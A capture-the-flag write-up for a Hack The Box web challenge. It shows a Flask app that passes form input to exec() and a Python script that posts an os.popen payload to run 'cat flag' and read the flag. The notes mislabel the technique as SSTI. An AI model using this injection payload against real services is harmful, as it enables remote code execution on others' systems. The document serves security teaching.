Skip to content

Latest commit

 

History

History
151 lines (99 loc) · 3.88 KB

File metadata and controls

151 lines (99 loc) · 3.88 KB

baby interdimensional internet

Write-up author: jon-brandy

DESCRIPTION:

aw man, aw geez, my grandpa rick is passed out from all the drinking again, where is a calculator when you need one, aw geez

HINT:

  • NONE

STEPS:

  1. First open the host given.

RESULT

image

  1. Let's try to add ?=' at the url.

RESULT

image

  1. The number changed, hmm.. try to refresh the page now.

RESULT

image

  1. The number changed again. Let's analyze the source code then.
  2. Got a hint here, there should be a directory named debug.

image

  1. Try to traverse there.

RESULT

image

from flask import Flask, Response, request, render_template, request
from random import choice, randint
from string import lowercase
from functools import wraps

app = Flask(__name__)

def calc(recipe):
	global garage
	garage = {}
	try: exec(recipe, garage)
	except: pass

def GCR(func): # Great Calculator of the observable universe and it's infinite timelines
	@wraps(func)
	def federation(*args, **kwargs):
		ingredient = ''.join(choice(lowercase) for _ in range(10))
		recipe = '%s = %s' % (ingredient, ''.join(map(str, [randint(1, 69), choice(['+', '-', '*']), randint(1,69)])))

		if request.method == 'POST':
			ingredient = request.form.get('ingredient', '')
			recipe = '%s = %s' % (ingredient, request.form.get('measurements', ''))

		calc(recipe)

		if garage.get(ingredient, ''):
			return render_template('index.html', calculations=garage[ingredient])

		return func(*args, **kwargs)
	return federation

@app.route('/', methods=['GET', 'POST'])
@GCR
def index():
	return render_template('index.html')

@app.route('/debug')
def debug():
	return Response(open(__file__).read(), mimetype='text/plain')

if __name__ == '__main__':
	app.run('0.0.0.0', port=1337)
  1. Notice there's a calc() function which can be our attack vector, also there's exec() function which executes python script injected at the recipe variable.
  2. Based from the script, when we perform a POST request, we are accessing this part of code.
if request.method == 'POST':
			ingredient = request.form.get('ingredient', '')
			recipe = '%s = %s' % (ingredient, request.form.get('measurements', ''))
  1. Based on this part of code, we know that the webapp extracts value from ingredient variable and measurements variable from request body. Means we can utilize that to send maliciou recipe.
  2. So let's make a script to send our request.

THE SCRIPT

import requests 
import os

os.system('clear')
recipe = {'ingredient': 'flag', 'measurements': '__import__("os").popen("cat flag").read()'}
host = 'http://138.68.185.149:31457'
result = requests.post(host, data=recipe)
    
print(result.content)

NOTES

I input the ingredient value as flag, because the ingredient accept lowercase character.
ingredient = request.form.get('ingredient', '')
ingredient = ''.join(choice(lowercase) for _ in range(10))
Next we can utilize the measurements value to do flask SSTI.
recipe = '%s = %s' % (ingredient, ''.join(map(str, [randint(1, 69), choice(['+', '-', '*']), randint(1,69)])))

RECIPE RESULT

'flag = __import__("os").popen("cat flag").read()
  1. Run the script.

RESULT

image

  1. Got the flag!

FLAG

HTB{n3v3r_trust1ng_us3r_1nput_ag41n_1n_my_l1f3}